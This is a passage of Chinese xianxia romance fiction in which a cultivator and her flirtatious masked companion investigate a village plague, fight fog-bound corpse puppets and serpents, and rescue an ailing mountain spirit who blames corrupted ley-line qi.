沈荷微微睁大了眼睛,问,“听方才你们谈话,你与小祭……欲结为道侣?”
谢灼笑了笑,语气坦然:“是啊。”
沈荷看着谢灼:“可否摘下面具,让我看一看?”
房间里安静了一瞬。
沈祭雪看向谢灼。
谢灼似乎愣了一下,随即轻笑:“峰主有命,自当遵从。只是……”
他微微拧眉,“我怕摘下来,吓到您。”
沈荷哑然失笑:“我虽久病,但还不至于被容貌所惊。”
“那行吧。”谢灼似乎很是勉为其难,抬手,慢条斯理地解开了面具的系带。
其下是一张极其艳丽,近乎妖冶的面容。与他懒散戏谑的气质截然不同,这张脸美得极其张扬。
谢灼将面具拿在手里把玩,唇角勾起一抹笑:“如何?没吓着峰主吧?”
沈荷怔了怔,缓缓道:“没,没,挺好。”
她顿了顿,目光变得有些忧虑,转向沈祭雪,语气沉重了几分,“小祭啊……”
沈祭雪走向师父,凑近了些。
沈荷压低了声音,道:“这公子容貌这般招摇,又是少年心性,若非真心倾心于你,怕是早晚会跑的。你……当真想好了?”
沈祭雪沉默了一下,看了一眼谢灼,语气平淡无波:“没关系。这世上长腿的东西都会跑。”
飞鸟会跑,走兽会跑,人自然也会跑。没什么稀奇。
沈荷:“……”
她是这个意思么?!
沈荷沉默半晌,叹了口气:“那你……你是真心喜欢他?所以才应下这道侣之约?还是,因为师父逼迫你……”
沈祭雪沉默了片刻,含糊答道:“只是因为,他……很合适。”
至少,他不会拿出一卷密密麻麻的要求,也不会像其他人那样对她抱有莫名的期待。
只是互相把对方当终点前的祭品。简单,直接,省心。
沈荷心里明白了七八分,“罢了罢了,大不了等他跑了,你就再找一个……”
她终究是没再说什么,默许谢灼留下来。
谢灼适应能力极强,丝毫没有暂住做客的自觉,很快就在沉鱼峰混得……如鱼得水鸡飞狗跳。
双胞胎对他好奇得不得了,见过他真容后,整天“谢师兄”“美人师兄”地叫着,围着他打转。
谢灼也乐得逗小孩,时不时变出些稀奇古怪的小玩意儿哄他们,偶尔还指导一下他们漏洞百出的修炼。
虽然他指导的方式通常比较另类,比如教沈二十六怎么用最少的灵力把头发烧成卷,气得沈二十三追着他打。
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这人还每天雷打不动地出现在沈祭雪面前,花样百出。
有时是不知道从哪儿弄来的话本,塞给她:“喏,学习一下正常道侣是怎么谈情说爱的,虽然我们不走寻常路,但流程可以参考一下嘛。”
有时会莫名其妙消失一段时间,再回来时,抱着一堆稀奇古怪的玩意儿,全都藏在她屋里,隔几日就被沈祭雪冷着脸一件件扔了出来。
更多时候是在找打。
“道友,你看今日天气甚好,多么适合切磋一下。”
“道友,你看那夕阳是不是很有诗意?我们来切磋一下。”
“道友,你看这片云像不像昨天我给你烤的那条鱼?我们来切磋一下。”
沈祭雪通常只用两个字回应:“无聊。”然后直接拔剑。
但奇怪的是,无论她出手多快多准,谢灼总能恰到好处地躲开,而后一边切磋一边继续在她旁边喋喋不休。
沉鱼峰上因为他的到来,似乎连空气都热闹了起来。
这日,沈溪从山下采买回来,脸色却不太好看,眉宇间带着忧色。
“师父,师姐,”他找到沈荷和沈祭雪,语气凝重,“山下……出事了。”
“怎么了?”沈荷问。
“是疫病。”沈溪声音低沉,“在山脚下的几个村落蔓延开了,听说已经死了不少人。现在人心惶惶,村落已经快没人了。”
沈荷闻言,脸色一变:“这消息,宗门可知晓?”
沈溪点头:“知晓,附近的修真门派也派人去看过,都看不出根源,无法可解。”
“有人上报药宗和凌云宗,凌云宗派了修士过来,药宗说人手不足,且怕疫气沾染灵山上的花草,拒不开门。”
“师父,”沈祭雪蹙眉,“我想去看看。”
沈荷看着她:“你一人如何去得?那疫病凶险……”
“我也去。”一个声音插了进来。谢灼不知何时靠在了门边,“这么热闹的事,不能让你一个人掺和进去。”
沈祭雪看了他一眼,没反对。
沈荷看着他们二人,只得道:“万事小心,若事不可为,以自身安危为重。”
沈祭雪和谢灼准备了一番,掩去形貌,带了些沈溪准备的解毒丹药和防护符箓,即刻下山。
越靠近山脚下的村落,空气中的异味越发浓重。
沿途可见拖家带口逃离的难民,面色青白,眼神惶恐。有人倒毙路边,无人收殓,情形凄惨。
原本还算热闹的村落此刻一片死寂。田间地头荒芜,村中屋舍门口挂满了白色的布条,时而传来压抑的哭泣和呻吟。
一些村民脸上,手上已经出现了溃烂毒疮,眼神麻木地坐着等死。
沈祭雪灵力微转,隔绝了大部分异味。谢灼皱了皱眉,目光扫过荒凉的村庄,变得有些沉凝。
她拦住一个用布巾捂着口鼻,行色匆匆的老丈,尽量放缓语调:“老人家,您可知道,这疫病源自何处?”
那老丈被拦住,先是吓了一跳,待看清两人衣着,像是抓住了救命稻草,噗通一声跪在了地上:“仙长!是仙长吗?求求仙长救救我们吧!”
11. 雾气
那老丈姓陈,算是这村里为数不多还未显病征的人,但也满面愁苦,眼窝深陷。
略微交谈几句后,他将沈祭雪和谢灼引至自家院落。
院子勉强算得上整洁,但门窗紧闭,透着一股死气沉沉的压抑。
陈老丈的妻子早亡,儿子和儿媳前些日子也出现了疫病的症状,此刻关在偏房,由他每日送些饭食放在门外。
他将二人引入屋,倒了两碗水。
“仙长……事情,得从三个月前说起……”陈老丈的声音沙哑,隐隐带着恐惧。
“那天,村头的铁头去河边打渔,在芦苇荡里……捡回来一个人。”
“是个姑娘家,但那模样……唉,造孽啊……”老丈摇着头。
“浑身没一块好肉,坑坑洼洼的,像是被什么野兽啃过,又像是烂掉了……就剩一口气吊着。”
“铁头心善,看她可怜,就把她抬回自家照料,喂了些米汤药草。那姑娘醒过来一次,眼睛瞪得老大,满是惊恐,抓着铁头的手,嘴里反复念叨着……山里有怪物……半日后就……就没了气。”
老丈叹了口气:“大伙儿当时虽然害怕,但也没太当真,只觉得她是被野兽袭击吓破了胆,胡言乱语。
埋了那姑娘后,村里几个年轻后生不信邪,说要进山去看看,到底是什么怪物。”
“他们去了大半天,回来时嘻嘻哈哈,说山里安静得很,连只大点的野猪都没见着,准是那姑娘吓糊涂了。大家也就放了心。”
“可谁知道……三天,就三天!”老丈的声音开始颤抖,“入山的那几个,开始浑身发痒,挠得皮开肉绽,接着就开始腐烂,脸上长出了毒疮……跟,跟那死去姑娘身上的伤……越来越像!”
“去看过他们的人,帮忙送饭送水的人,一个接一个……都染上了。郎中请来了,一看就摇头,说药石无灵。”
“仙长,这定然是那山里的怪物作祟啊。它这是……这是追着那姑娘,来祸害我们村子了啊!”
老丈说到最后,扑通一声又跪下了,“求仙长救命!再这样下去,我们村,附近几个村……都要死绝了啊!”
沈祭雪喝了口水,指尖在碗沿上轻轻敲了敲,沉吟道:“您的意思是,这怪病的源头,是那山里的怪物?”
“是!肯定是!”老丈用力点头,“不然怎会如此巧合?那姑娘说了怪物,碰过她,进过山的人就都……”
“唔,”谢灼抬眼看了看窗外逐渐暗淡的天色,忽而开口打断了他。
“老丈,今日天色已晚,山林险恶,不宜探查。我们明日一早再进山。今晚就先叨扰了。”
老丈愣了愣,反应过来后,连连摆手,道:“不叨扰不叨扰!只是寒舍简陋,而且……这村里不干净,怕冲撞了仙长……”
“无妨。”谢灼看了一眼沈祭雪,轻声道,“我们不怕这个。”
沈祭雪沉默地听着,目光落在谢灼身上。
陈老丈便出去了一趟,回来时,面上带了些歉疚,局促地搓着手,“唉,仙长,空屋倒是有……只是……剩一间空房了,其他屋子都……都……”
沈祭雪垂下眼眸,放下手中碗:“不碍事,叨扰了。”
村中房舍简陋,屋内只有一张床榻,一张旧桌,两把破椅。
油灯如豆,光线昏暗,将两人的影子投照在墙上,摇曳不定。
这里的夜静得可怕,没有虫鸣,没有犬吠。只有风穿过空荡屋舍的呜咽声,以及远处偶尔传来的,压抑的痛苦呻吟。
沈祭雪走到窗边,抬头看着天色,眉头微蹙。
“你看出了什么?”她忽然开口。
谢灼走到桌边坐下,道:“那老丈说的话,漏洞不少,而且……有些,也未必是真的。”
沈祭雪眸色微沉,回头看了他一眼,示意他继续往下说。
“第一,”谢灼伸出食指,“三个月前捡到姑娘,年轻人进山,三天后发病,瘟疫蔓延至今。这么长的时间,若真是寻常传染的疫病,早该传到更远的地方。
但现在,疫病也只在这几个村落中,像是被什么东西圈定了范围。”
“第二,”他又伸出中指,“你也看出来了吧,若这山中真有散播疫病,伤人性命的怪物,其气息必然凶戾滔天,我们不可能毫无察觉。”
“但这村里,除了死气和病气,并无特别强烈的妖邪之气。”
谢灼顿了顿,看向沈祭雪,语气罕见的认真:“所以,道友,”
他声音放缓,“若明日真遇到了什么,别急着拔剑,先看清楚,弄明白真相。好吗?”
沈祭雪静静地看着他。灯火在她的眼底跳动。
“好。”沉默片刻,她应允下来。
谢灼闻言似乎松了口气,身体往后靠,语调重又变得懒散,“好了,长夜漫漫,道友我们来探讨一下别的问题吧。”
沈祭雪原本打算走近桌边坐下,闻言,脚步顿了顿,“比如?”
“比如今夜谁在上谁在下的问题。”
沈祭雪:“……”
……她就知道。
好在这么些时日相处下来,她已经对这人乱七八糟的语言组织能力习以为常了。
……甚至也渐渐琢磨出了点能让他失望闭嘴的回答。
沈祭雪花了些时间做心理建设,面色平静无波,掀起眼帘瞥了他一眼,从容答道:“我要在上。”
谢灼没想到她真会答话,微微一怔,逗弄心思不减反增,唇边笑意愈发柔和:“哎呀,可是此地天寒地冻。我这人喜暖畏寒,若是在下的话,半夜恐会觉得冷。”
“不知……道友可愿分我一半被褥,我也愿意为道友提供温暖的怀抱……”
沈祭雪淡淡瞥了他一眼。
室温骤然下降。
眼见这人再逗下去就真生气了,谢灼从善如流地举手投诚:“好吧好吧,我打地铺。”
烛火熄灭,屋内一片漆黑。
沈祭雪和衣躺在床上,忽而没头没脑地说了一句:“……等以后吧。”
谢灼“啊”了一声,随即反应过来,她是在答他刚才说的那番话。
他忍不住唇角勾了勾,侧过脸去看她,觉得心尖像是被什么东西轻轻挠了一下。
不疼,但是很痒。
谢灼闭上眼,装作不在意的样子,没再出声。
一夜无话。
次日清晨,天色阴沉。
谢灼同沈祭雪刚推开院门,就见村口传来一阵小小的骚动。
几道身着凌云宗弟子服饰的身影从剑上落下,为首一人,身姿挺拔,气质温润,指挥着同门将带来的药品和粮食分发给聚集过来的村民。
沈祭雪远远看着,觉得那人的侧影很是眼
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熟。
恰在此时,那为首的青年似有所感,回过头来,正好与沈祭雪对上了目光。
他脸上温煦的笑容顿时一僵,眼中闪过一丝错愕。
“沈姑娘?”洛逢春快步走了过来,目光在沈祭雪和旁边戴着面具,气质懒散的谢灼之间转了转,难掩惊讶,“你……你怎么会在此处?”
沈祭雪张了张口,尚未答话。
洛逢春眉头微蹙,已经自顾自地说了下去:“是因为合欢宗收到了求助讯息?此地疫病凶险,你一个人……”
谢灼唇畔笑意一僵。
什么意思,他不是人么?
“只是听说了,想过来看看。”沈祭雪察觉到了,却也并不去刻意纠正。
谢灼的目光愈发哀怨。
洛逢春看她的眸光更加温和:“姑娘果然胆识过人,令人钦佩。”
沈祭雪琢磨了一下,学着他的语气,答道:“不过是想尽绵薄之力罢了,还是道友你宅心仁厚,救民于水火之间,更令人敬仰。”
谢灼面上笑意彻底没了。
二人互相恭维完,交谈停顿了片刻。
谢灼终于等到机会,轻笑一声,幽幽接话:“洛公子的确是宅心仁厚,不然,依凌云宗的习惯,怕又会让这些人等一等。”
“等到人来的时候,估计已是地老天荒,白骨成灰,魂魄都转世不知几遭了。”
他这话意有所指,明褒暗讽。
洛逢春面色微微一赧,随即避重就轻,坦然道:“洛某身为修道之人,既得知此事,自然无法坐视不理。这些药品粮食是我和几位师兄弟一同凑集,前来尽绵薄之力。”
他解释完,又看向沈祭雪,语气里带了些询问,“不过,这一大早,沈姑娘,你们这是要?”
“进山。”沈祭雪不欲隐瞒。
洛逢春神色一肃:“那我也与你们同去。多个人多份照应。”
原本的两人行变成了三人行。陈老丈将他们引至进山的路口,便不敢再往前一步,只是向他们再三祈求。
入得山中,气氛陡然变得更加阴森。树木高大,遮天蔽日,虽是清晨,林间却弥漫着灰白色的雾气,越往深处走,雾气越浓。
空气中那股若有似无的腐臭味,在这里似乎变得淡了一些。
洛逢春持剑在手,走在沈祭雪身侧,轻声道:“这雾气有些蹊跷。”
树木逐渐茂密,光线被层层叠叠的树冠遮挡,显得幽深晦暗。
又深入了一段距离,周围的雾气已经浓得化不开,几乎面对面都看不清面容,神识似乎也受到了某种压制,难以延展太远。
沈祭雪沉声道,“小心戒备,这雾……”
她话未说完,一阵诡异的山风突然卷过,带着浓郁的腐臭。
眼前的雾气剧烈翻滚涌动起来,几乎是眨眼间,便将三人的视线彻底遮蔽。
“沈姑娘?”
“道友?”
“谢灼?”
三人互相呼唤,声音却散在浓雾中,什么也听不到。
沈祭雪握紧了手中的剑,灵力运转,试图驱散周围的雾气。
但这雾异常顽固,灵力过去,只是稍稍淡薄一瞬,立刻又凝聚如初。
她凝神屏息,仔细倾听周围的动静,除了自己心跳,只有一片死寂。
谢灼和洛逢春,消失了。
12. 银发
沈祭雪站在雾中,手中剑微微一动,将迫近的浓雾稍稍推离。
目不能视,耳不能闻,神识亦如陷泥沼。
这雾气阴湿粘滞,其间还裹挟着一股若有若无的腐烂气息。寂静之中,有细微的窸窣声自身后响起。
沈祭雪身形未动,握剑的手腕却倏然翻转,剑未离手,带着凌厉劲风向后一点!
“咔嚓!”
一声脆响,像是击碎了什么朽烂物件。
浓雾被这一击短暂撕开一道缺口。沈祭雪眼角余光瞥见一截苍白扭曲的手臂,那手臂上皮肉坑洼腐烂,指甲蜷曲,与陈老丈描述那患病女子的症状竟有八九分相似。
一击不中,那窸窣声非但未远离,反而从四面八方,如同潮水般涌来,越来越密,层层叠叠,还夹杂着令人头皮发麻的咀嚼声响。
沈祭雪面色不改,眸中凝霜,“铮”的一声,长剑出鞘,凛冽剑光如寒月乍现,瞬间刺破昏沉,照亮周身丈许之地。
光照之处,影影绰绰,竟浮现出数十道扭曲蹒跚的身影。
这些尸傀衣衫褴褛,沾满泥污腐叶。裸露的皮肤大片溃烂,隐约可见森森白骨。双眼空洞无神,只余一片死白的浑浊。
沈祭雪握紧手中剑,剑势倏然展开。身随剑走,转瞬化作数道清冷流光。
流光过处,黑臭粘稠的腐液和碎骨断肢纷飞。
这些尸傀虽看似可怖,怨气缠身,但力量与速度却并不出众,只是不惧疼痛,悍不畏死。除非粉身碎骨,否则攻势不停。
沈祭雪静心凝神,攻击同时,还留意着周遭声响。她握紧手中长剑,灌注灵力。
刹时流光缭绕,寒气四溢,剑招杀伐果绝。
转眼间,地上已倒下数具手脚尽折,不再动弹的腐尸。伤口处黑液汩汩流出,渗入地面。
然而这时,沈祭雪停下攻势,正欲收剑回鞘,异变再起。
地面猛地剧烈震动,裂隙横生,仿佛有什么巨物在地下穿行。
紧接着,“嗤嗤”几声,数条黝黑发亮的阴毒巨蟒,挟着腥风,从地底向她疾扑而来!
沈祭雪心中一惊,身形翻转至半空,堪堪躲过。
巨蟒身体表面布满湿滑的黏液,散发着浓烈的腐臭气息。一击不中,便将她团团围在中央,在浓雾中睁开昏黄色眼瞳,目光冰冷怨毒,从四面八方死死盯住沈祭雪。
沈祭雪心知一味躲避无益,只得拔剑再战。
这些巨蟒的身躯坚韧异常,表面黏液似乎还有卸力之效,剑刃劈砍上去难以斩断。且进退有据,配合默契,攻势狠辣无比,比之尸傀有过之而无不及。
沈祭雪屏息凝神,将灵力附于剑身,剑招变得轻灵迅疾。刺骨寒气以她为中心骤然扩散,地面迅速凝结起一层厚实寒冰,温度骤降。
那些巨蟒显然畏寒,动作齐齐一滞,身躯表面迅速覆盖上一层薄冰,攻击也肉眼可见地变得迟缓。
就在此刻,沈祭雪将灵力尽数灌注剑身,长剑嗡鸣震颤,横扫而出。
“噗嗤——!”
“噗嗤——!”
巨蟒头颅应声而断,腥臭浓稠的乌黑血液喷溅而出,落在地上嗤嗤作响,腐蚀出一个个深浅不一的小坑。
周围的浓雾随着巨蟒的消退,仿佛失去了部分支撑,变得稀薄了几分。
沈祭雪还剑入鞘,扫了一眼狼藉的地面,眸光微敛,循着雾气略薄的方向,继续向前行去。
越往前走,脚下土地越发湿润泥泞,空气中的腐臭味渐渐被一种奇异的,略带清苦的草木芳香所掩盖。
不知走了多久,她一步踏出浓雾,眼前豁然开朗。
雾气在此地消散,形成一段约数十丈的清净地带。天光透过稀疏的树冠洒下斑驳光柱,清晰照亮了空地中央一株异常高大,枝繁叶茂的古树。
那古树叶呈罕见的银白色,叶脉流淌着淡淡辉光,树皮温润,散发着宁静祥和的气息。
树下坐着一个人。
那人背对着沈祭雪的方向,一身素雅青衣纤尘不染,如瀑银发仅用嫩绿的树枝松松挽住,身姿清瘦颀长。
他低头摆弄着几株形态奇特的药草,侧影温润宁静。
沈祭雪迟疑着向前走了几步。那人似有所觉一般,摆弄药草的动作一顿,缓缓回过头来。
映入眼帘的是一张俊雅温润的面庞。
肤色白皙,近乎透明,眉眼柔和如春日远山。唇角天然微微上扬。眼眸是清澈剔透,毫无杂质的寒潭碧色,望着人时,却带着一种专注包容的浅浅暖意。
他看见沈祭雪,眼中闪过一丝讶异,怔了怔,缓缓地站起身。
“未曾想这荒山野岭,迷雾深锁之处,竟有客至。”他开口,声音清润。
“姑娘可是迷路了?此间山路崎岖,雾气障目,极易迷失方向。”
这人身上的气息纯净温和,与方才所遇的尸傀巨蟒等阴邪之物的气息截然不同。
沈祭雪略微放下心,隐去长剑,拱手为礼,语气清冷:“途经此地,为查山下村镇疫病之源。阁下……是此地主人?”
修道之人,自修行时,便知灵气蕴集处,山有山神,水有水灵。仁者乐山,智者乐水。
眼前人的气息与这整座山融为一体,浑然天成。沈祭雪这一猜,竟是猜中了。
那银发男子闻言,眉眼弯弯,唇边笑意更深,眸光流转,正欲答话。
然而,甫一张口,压抑不住的呛咳猛地从他喉间涌出,打断了一切言语。
沈祭雪快步上前,伸出手,试图查探他的情况。
然而,银发男子却微微侧身,向沈祭雪摆了摆手。他单手捂着唇,殷红血水不断从指缝间溢出,溅落在地面与衣襟上。
不知过了多久,咳呛声渐渐停止。银发男子低头看着自己衣襟上晕染开的血迹,眉头微微蹙起,脸上掠过一丝无奈。
“失礼了……”他抬眸看向沈祭雪,声音有些沙哑。
然后,他自然而然地抬手,开始解那件被染脏的青衣的衣带。
他的动作不紧不慢,指尖挑开绳结,外衫散开,露出里面同样素色的中衣。领口因动作而微敞,隐约可见其下的锁骨轮廓。
一件,一件,又一件……衣物散落在了地上。
沈祭雪站在原地,一时间竟不知该作何反应。
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话未说两句,先咳一地血,然后就要当场脱衣服。
这算什么……
……色诱么?
她轻咳一声,有些别扭地移开目光,低下头,努力将脑海中的想法移向正轨,揣测山神大人是否在借着这些举动暗示着什么。
然而揣测了半天也没想出个所以然,沈祭雪觉得头痛,也就放弃了。
她略微抬眸,恰好瞥见那银发男子解最后一件衣物的动作进行到一半,脸色骤然变得苍白。
他眼眸中的神采攸忽黯淡下去,身体晃了晃,直直向前倒了下去。
沈祭雪眼神微凝,身形一动,下意识地伸手扶住了他。
那枚翠绿的枝条发簪从银发男子的发间滑落,掉在泥土中,颜色鲜亮夺目。
没了发簪束缚,银白发丝披散至腰际。
这人身形清瘦单薄,沈祭雪扶着他,让他倚在自己怀里。只觉得一股淡淡的,清苦的药草香气混着新溢出的血腥气萦绕在周围,挥之不去。
就在这时,前方雾气一阵剧烈涌动,一个戴着银面具的身影优哉游哉,迈步而出。
谢灼一眼便看到林中空地上这极具冲击性的一幕,脚步顿时刹住。
他睁眼闭眼又睁眼,确认眼前不是幻觉后。眸色微沉,抬手摸了摸下巴,幽幽开口:
“怎么,看来我来的不是时候,打扰了道友的……山中艳遇?”
谢灼的目光在地上的血迹,散落的衣物,和那银发男子散开的衣襟上溜了一圈,笑了两声。
“这又吐血,又昏迷,又宽衣解带,投怀送抱……道友的际遇果然别致又离奇。”
“你们继续,我就看看。”
沈祭雪:“……”
这人又发什么神经。
她移开目光,没有接话。指尖悄然搭上银发男子的手腕,灵力丝丝缕缕探入,触到的却是一片空茫沉寂。
她隔着衣料触到的这人身体温度,也是近乎虚无的温凉,与活人的温热截然不同。
沈祭雪忍不住蹙起了眉。
她活得虽久,却还从没有给山神把脉治病的经验,不知道如何才算是正常,如何又算是不妙。
她抬头看了一眼谢灼,“过来帮忙。”
然而谢灼摇了摇头,抱臂倚在一旁的树干上,唇角勾起,眉梢微挑,眼里却无半分笑意。
“道友说笑了,像趁人之危,趁火打劫,偷吃别人豆腐之类的事,道友一个人去做就好了。何必要拉上我?”
“更何况,此地穷山恶水,瘴气蔓延。这东西若真是个称职山神,必然不会有这些事。只怕是空有一副好皮囊,道友,你难道没看出来吗?”
……沈祭雪还真的没看出来。
谢灼看着她的样子,忽而笑了一声,“那也不能怪道友,要怪只能怪……美色误人。”
沈祭雪没理会他的话,沉默片刻,将灵力聚至指尖,沿着山神的经脉注了进去。
银发男子长睫微颤,缓缓睁开眼。
他茫然看了看近在咫尺的沈祭雪,又微微偏头,目光落在了冷眼旁观的谢灼身上,瞳孔骤缩。
“是你!”
13. 夜半
谢灼闻言挑眉,唇弯得更深:“哦?这位兄台,我们认识吗?”
银发男子目光复杂地看着他,沉默许久,却又轻轻摇头。
他低声谢过沈祭雪,尝试着起身,不料脚下虚浮无力,身形又是一晃。
沈祭雪及时伸手扶住了他,微微蹙眉,低声道:“……不必强撑。”
谢灼:“呵。”
银发男子抬眼看向沈祭雪,眼眸中带着歉意:“失礼了……多谢姑娘。”
他缓缓抬起手,指尖微屈,轻轻向地上一引。那截落在地上的嫩绿树枝飞回了他掌心。
握住树枝的瞬间,他的脸上似乎恢复了一丝血色,周身气息也稳固了些许。
银发男子借着沈祭雪的搀扶,稍稍站稳。一只手将散开的衣襟拢了拢,抬眼看了看他们,终于开口:“我是此山山灵。”
“那这山下疫病蔓延,生灵涂炭,你也是知晓的了?”谢灼向前走了几步,目光带着审视,打量着他。
山灵苦笑一声,眉眼间掠过一丝痛楚,“……是。这山下疫病,山中邪祟,皆因我而起。”
“为什么?”沈祭雪眸光微动,问道。
山灵轻轻咳嗽了一声,掩住唇,指缝间又有血水渗出,被他悄然抹去。
“我执掌此山生机循环,平衡地脉灵息。然近些年,不知为何,山中灵脉异动,地底浊气上涌。”
“于山中经过,沾染了浊气的人,轻则神志疯癫,重则嗜血嗜杀。我为此地山灵,自当护佑他们,强行吸纳灵浊二气,自身本体受损,沉疴难起。”
他望向周围的雾气,眼中满是痛惜。
“灵脉受损,我也无法净化和压制地脉中的浊气。这些浊气散入山林,沾染生灵,便化作了你们所见的怨毒尸傀,邪蟒异兽。”
“……而有些,则随山风水气流入山下村镇,酿成疫病。”
言至最后,他的声音越来越低。
身为山神,却只能眼睁睁看着自己守护的土地和生灵被污秽吞噬,自身亦被病痛折磨,心酸绝望,难以言表。
沈祭雪垂下眼眸,沉默不语。
谢灼叹了口气,总算说了句稍微正经的话:“所以,根源在你身上。把你治好了,这山上的雾气,山下的疫病就都能消停了?”
山灵苦笑摇头,眼眸黯淡:“谈何容易。我本体受损,需以至纯灵物缓慢温养,但此地邪气已深,我……支撑不到那时。”
他话未说完,又是一阵剧烈的咳嗽,唇边血水溢出,整个人向下滑去。
沈祭雪立刻伸出手撑住他。
天色悄然暗淡下来,林间光影稀疏,不远处的浓雾又开始蠢蠢欲动,向着这片清净之地缓慢合拢。
“此地不宜久留。”沈祭雪果断道,“你随我们下山。”
山灵闻言,却缓缓摇头,气息微弱:“不……我不能离开。我与此山灵脉相连,离开山……浊气只会散得更快,山下情况……也只会更糟。”
他拒绝得坚决,眼中满是固执。
沈祭雪淡淡道:“你留在这里,只会死得更快。而且,山下人都快死完了,情况不会更糟了。”
山灵闻言,眼瞳微微睁大,许是受不了这等直白的话语,竟直接昏了过去。
沈祭雪:“……”
她又说错话了?
谢灼啧了一声:“真是麻烦。”
就在此时,前方的雾气又是一阵翻涌。
这次走出的,是洛逢春。
他衣角沾了泥泞湿痕,眉眼间有些许疲惫,看到沈祭雪怀中扶着一位昏迷不醒,衣衫不整的银发美人,微微一怔。
“沈姑娘?”洛逢春快步上前,走到沈祭雪面前,蹙眉问道,“他是?”
沈祭雪对洛逢春道:“他是此山山灵。”顿了顿,又问道,“不过道友,你怎么现在才出来?”
她与洛逢春交过手,知对方实力并不己之下,那些尸傀邪蟒,虽瞧着骇人,却理应不会让他耽搁如此之久。
洛逢春叹了口气,指了指来路:“这山中雾气诡异,我与你们二位失散,遇到了些邪物,……顺手救了个人。”
他侧身,微微向后点头示意。
只见他身后不远处,站着一位脸色苍白的少女。少女衣衫破损,神色惊惶,身上有多处擦伤,紧张地盯着他们。
“我发现她时,她尚有体温,只是昏迷不醒,身上被邪气侵蚀。醒来后,又似乎神志不清。”
“我本想着先带她出去,不料在雾里绕了几圈,竟遇上了你们。”洛逢春道,“天色已晚,我们需尽快下山。”
沈祭雪看了一眼那少女,迷雾中邪异重重,这女子怎能活下来。此事透着蹊跷,但眼下非深究之时。
一行人不敢再耽搁,向山下行去。
许是由于山灵在侧,又许是邪崇来时已被斩了七八,回程的雾气散了许多,也并未再遇到袭击。
抵达村中时,夜幕已完全降临。院落里亮着昏黄的油灯,陈老丈正焦急地踱步,听到动静立刻冲了出来。
见沈祭雪等人平安归来,还多带回了两个人,陈老丈激动得眼眶发红:“仙长!你们可回来了!老天爷,这……这是……”
他看着那少女和面色苍白如纸的山灵,带着询问的眼神看向众人。
“老丈,劳烦再去旁处寻两间静室,再烧些热水。”洛逢春温声道,“这两位受了伤,需要静养。”
陈老丈虽疑惑,但也并不多问,点点头,忙碌起来。
待安顿好一切,沈祭雪和谢灼回到屋内。陈老丈端来简单的饭食,粗茶淡饭,热气腾腾。
谢灼向他道了谢,递过去一块银子。陈老丈推辞几句,擦了擦手,乐呵呵地收了。
谢灼向沈祭雪递过去碗筷,沈祭雪却并没有伸手去接。
她抬着自己的右手腕,微微蹙眉。
不知何时,手腕内侧竟多了一个若隐若现的绿色花纹印记,形状像是某种缠绕的藤蔓,隐隐散发着微弱暖意。
她确信入山之前绝无此物。
“看什么呢?”谢灼凑过头来,瞄了一眼,眼睛眨了眨,“哦,因果印啊。”
沈祭雪看向他,想听解释。
谢灼看着她,伸出了自己的手,笑了一声:“有些山灵水灵就喜欢这套。碰过他们的人都会有,你看,我也有。不用担心。”
沈祭雪将信将疑地看向他的手腕,果然有一个同自己一模一样的印迹。
她迟疑问道:“这东西,会对人有什么影响么?”
谢灼盯着她的眼睛,声音忽而压得极低,勾了勾手,示意她离近些。
“你凑近些,我就告诉你。”
沈祭雪看着他没安好心的样子,深吸一口气,拿起了筷子:“那还是算了。”
谢灼急了:“别啊,你接着问啊。我什么都可以告诉你的。”
沈祭雪装没听见。
谢灼:“你真不想听?”
沈祭雪瞟了他一眼,说今日的饭看上去很不错。
谢灼凑近了些,
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阴恻恻地又问了一遍:“……你真的真的不想听?”
沈祭雪默了默,答今日的菜也很不错。
谢灼一扔筷子,咬牙切齿:“我就知道!”
沈祭雪终于看向了他:“……你又知道什么了?”
谢灼死死盯着她,眼神哀怨,语调凄惨:“你就是喜欢会主动宽衣解带,投怀送抱的柔弱病秧子是不是?”
“你就是喜欢宅心仁厚,救天救地的温润君子是不是?”
“你就是不喜欢我是不是?!”
沈祭雪咳呛一声,终于察觉到了满屋子的醋意。
她忍不住想笑,又忍着不笑,放下筷子,唤了一声:“谢灼。”
谢灼翻了个白眼,应了一声:“嗯。”
等着她的下文。
然后……沈祭雪就拿起筷子继续吃饭了。
谢灼气急败坏。
谢灼大吃一惊。
谢灼决定再也不要理她了。
谢灼吸气吐气又吸气,连人带着凳子搬到离沈祭雪最远的角落里,拖长了调子,慢悠悠地说。
“哎呀,其实吧,这因果印对人当然是有影响的。道友若是想活命,我建议,还是现在就把手剁了比较好。”
沈祭雪:“那你呢?”
谢灼目光沉沉地盯着她,答得理直气壮:“我陪你一起剁。”
沈祭雪沉默。
……那还真是谢谢你啊。
不过这人怎么看上去不太聪明的样子。
她低头又看了一眼那手腕上的印记,指尖默运灵力探查,却并无异样,便也没再去管它。
夜深人静。
奔波一日,加之灵力消耗过多,众人早早歇下。
谢灼仍然不肯理沈祭雪,躺在地上,似是早已入睡,呼吸平稳。
沈祭雪和衣卧于榻上,长剑置于手边。
不知过了多久,一阵极其轻微的声响,缓缓靠近她的床榻。
沈祭雪骤然睁开双眼,眸中一片清明。
黑暗中,有什么东西试图悄无声息地缠上她的手腕和脚踝。
沈祭雪身形不动,冰寒灵力透体而出,只听几声脆响,那试图束缚她的东西瞬间被冻结崩裂。
与此同时,她翻身下榻,扣住了一个模糊人影的咽喉。
“唔!”
那人显然没料到她会突然发难,喉咙被死死扼住,又被狠狠掼压在冰冷的土墙之上,发出一声痛苦的闷哼。
沈祭雪借着窗外透入的微弱月光,看清了被制住的人。
竟是一个穿着粗布衣服的年轻男子。
“你是谁?”沈祭雪声音冷冽,“到此来,是受谁指使?”
谢灼坐起了身,懒洋洋地打了个哈欠,看着被沈祭雪死死按在墙上的人,悠悠道:“哎哟,这大半夜的,怎么这么热闹?”
“道友,不如,给他点教训吧?”
这人睡了一觉,居然就自己把自己哄好了。
沈祭雪觉得很稀奇,多看了他两眼。
“你来。”她对谢灼道。
“你看,”谢灼无奈道,“这种杀人诛心的活又推给我了。”
那男子闻言浑身剧颤,冷汗瞬间浸透粗布衣,喉咙里发出恐惧声响。
沈祭雪冷眼旁观。
谢灼慢悠悠地踱步上前,脸上挂着那种惯有的,看热闹不嫌事大的戏谑笑容。
“深更半夜,扰人清梦,确实该罚。”
“嗯,让我想想,从哪里开始好呢?”
14. 祭祀
夜色如墨,万籁俱寂。
狭小静室内,洛逢春和衣躺在一张简陋的板床上,睡梦沉沉。他白日损耗灵力,又奔波寻路,此刻已然熟睡。
不知何时,一丝细微的声响传入耳中,洛逢春并未睁眼,周身灵力悄然流转。
那声音很轻,犹豫着,蹑手蹑脚靠近他的床榻。
